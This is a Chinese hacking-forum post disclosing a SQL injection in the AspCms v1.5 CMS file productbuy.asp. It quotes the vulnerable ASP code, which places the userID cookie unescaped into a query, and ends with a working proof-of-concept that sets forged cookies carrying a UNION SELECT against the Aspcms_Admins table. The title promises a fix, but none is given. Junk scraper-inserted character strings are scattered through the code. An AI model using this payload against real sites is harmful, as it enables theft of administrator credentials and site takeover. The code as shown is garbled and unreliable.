找回密码
 立即注册
查看: 2990|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
$ _& M( r7 T0 g$ }$ E- x8 H也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
  e3 t7 p. c* v3 ?$ r, h废话不多说,看代码:- H- g0 K/ Q. B4 J! r
& V( j6 W; ]9 [7 r, f! y
<%) _' N7 I' K, S( \; x- ~) y

: I6 W& X. h9 V$ x( d0 A2 t4 \if action = "buy" then
* f+ }1 a5 t+ U( S5 H/ I8 f( f, [8 x. C' h8 b
        addOrder()1 `. A9 @7 ?# D0 b4 i9 F
5 U) e" a" J9 H" L3 Z
else
& h8 N( }, `5 x/ J+ `
' k; \5 p+ M+ o- }" o7 s        echoContent()  K; L2 |: r  Z9 p$ ~3 u3 \

/ F$ [' J6 l  ~end if1 I. h' e8 D, b: c' t* {: |# w
) Y+ P' _$ ]' J8 k# W

0 e" Q( o5 c$ g' g2 r6 D( n, C3 v  w" v' n# w. j
……略过3 R2 ]: c# f/ K6 Y6 y" N
$ ~& |2 g# f' I1 k% [1 a; Z- l. S
- R8 u2 K3 a: U, v" K) C
7 h6 X& l  R5 p& e2 X
Sub echoContent()/ S" O' L9 q% K1 g/ H; _
# d& c# T& J2 s$ c  W0 u$ A9 G6 _2 M
        dim id3 [' G+ V  g) V

4 F$ W% s( u# u) H& W7 A$ x: g5 r        id=getForm("id","get")9 W, a, ~  A: }1 \

, F  U, s8 u9 t        : ]+ A: E- x& x5 Z* ~

2 K. ]; B9 G% e  L( ^& r- v- `        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
# h3 R, Z( R) w6 |9 {2 g6 B& @
# p0 C* O" U3 H  _/ l. N( p- Z        , }- p* y) N$ k# V( w' u% _' D
* B6 j" O6 C! g) k9 @5 W% `: c: \, u
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
: {6 A0 S# ]" |2 |6 ]2 D- L2 X! `7 c
% n- t: Q- h# P( M        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct: E: \1 w% {4 }- [" ^4 `5 N3 e* `
3 I6 }: O$ D' e; a9 M- }! c
        Dim templatePath,tempStr) ?+ L9 G  d, X- c% @' t6 O$ r
! ^5 B7 Z/ i# u2 e! w& e
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html". @; e' u! _0 R* V, j4 F

* F$ K2 t7 T- Y! {; d/ C3 C" I5 c; V( @) r" o& z

; Q+ [+ U2 h; F- C        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
0 F, v0 W/ ]) O7 F4 W  x2 E: n+ R: @4 t$ I0 [
        selectproduct=rsObj(0)' A1 l0 @) Q9 q4 b$ I
5 D  |8 @4 Z2 Z5 L0 W# ]
        7 }" X" b; y6 V3 o
7 R. t8 u7 t. Q! c" ?* S
        Dim linkman,gender,phone,mobile,email,qq,address,postcode2 E9 V/ Z0 \" K5 b( z4 S( r

! ?8 c! o& u2 Z% `        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
9 c' T; W, O# E1 n& T2 y: h- z0 i
5 C3 _+ y5 `& C5 w9 k        if rCookie("loginstatus")=1 then  
+ H$ u8 b) H! U' }8 _1 Z0 e% J3 E2 G3 R+ K$ E
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
+ F+ {0 P  j. D+ C, P
( b7 {' G* J. r4 C) \1 e& Q                linkman=rsObj("truename")
8 g/ C- i  x2 [3 Q" |, J, Y3 e  J- S, ]) Q% Q- \9 M  f
                gender=rsObj("gender")
0 F- x  r7 R& z4 K6 H6 C3 N8 c3 j/ w% d7 o0 s0 ~0 g! {/ ~9 G) U
                phone=rsObj("phone")
# k) d, [. o& c; }# W0 I, B4 @8 H: ^% R" o
                mobile=rsObj("mobile")9 c+ V/ J8 d2 g2 T
+ [/ C6 n. d4 @
                email=rsObj("email")
/ k) l; ]& L2 \. n/ m. V' J% o5 V7 F9 b% L0 T8 a
                qq=rsObj("qq")% y5 L' S: ^$ E. _* C9 r9 ]
: b7 H" B3 V+ W( X
                address=rsObj("address")
) ]; G0 m: ^3 F* B# v
  K- ?2 _6 e! @8 X7 j8 ^% A                postcode=rsObj("postcode")
+ O4 v/ G) c* A4 t, a
: L. v% }1 Z. i0 y' @        else
9 n% x8 c5 v. F, H5 g( ^
/ U7 u5 C3 O! q- F3 ]                gender=14 z% r1 i4 `+ h! `  k

5 q. i( E9 ^) K        end if
. ?4 y9 A7 ~6 M, N; ?. T
  Y1 B8 x! j8 p        rsObj.close()! n7 T6 [0 i- R; U) H. N; E

. ~4 W( }9 ^' k                3 x2 l7 o; A1 J! ?; H: w# E
8 w# z0 R. ]" P' U1 @
        with templateObj
" a& R1 B( O  S6 E% ^/ s" t, x0 ^( n  I
                .content=loadFile(templatePath)        
: @8 Q# j1 F3 J7 w& C6 G
5 o$ X: o3 m0 f, |4 P                .parseHtml()
3 o( _8 g! O3 d2 W7 V" z4 }
  p4 ?2 G! K! p5 h1 v1 q4 L                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
; z* P: t' U3 C4 F6 F: T0 P
) A% T9 m% O: x0 {                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                : R! X+ x$ m  n& S1 v* l9 q* f) R

# e! [& q- w6 z- u% E7 P" S/ Y                .content=replaceStr(.content,"[aspcms:gender]",gender)                " P% G" A& v6 r$ |) Z# ?3 _
7 w5 ~6 @: ^  g, K) j
                .content=replaceStr(.content,"[aspcms:phone]",phone)                . y; D. p0 @* S! ?* ^
- V4 W3 r" E0 U, D# D# {
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
5 [0 y& ~& \0 V( p- W* Z6 @0 k
1 C/ O$ d7 Z4 n2 J# v+ H" P- u                .content=replaceStr(.content,"[aspcms:email]",email)                        - o, f' a, V( `: A( G
: ]" r# p, A5 H6 Q; m' m: E
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        9 q4 v  v# _. i* f$ o; n
3 t  G9 k$ ~- l* ~
                .content=replaceStr(.content,"[aspcms:address]",address)                        4 z  e& m5 \2 ?0 t' g9 ?
* M, k) C( Q5 U5 i/ {
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
  y; c  w4 U8 [/ P; ]8 O  a) ]$ E: P8 `; s9 e2 G4 U
                .parseCommon()                 ) v& A% v& Y4 D5 P9 {

) C0 X1 M$ V; V4 E                echo .content
! T5 D7 f/ o5 @9 R" C. U  I
1 y% V2 I# n% |( C( V: f        end with7 z+ ~+ ?, c9 m' }
- k% @1 E, M: v/ o6 ?7 p- P
        set templateobj =nothing : terminateAllObjects* F6 b! c/ Z1 C* b

9 {- ^0 @5 W$ T/ e# O7 k! PEnd Sub. F; Z9 O. D: E& M* s: U2 N- A
漏洞很明显,没啥好说的
! A; d5 [& z4 Npoc:0 P! x' q8 N0 {& @
$ l* v: G, c( m, e2 ~, g) K8 A
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​% u& Y$ u( l: }5 R; a
# G; o$ a8 C! M* e8 s8 }/ A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表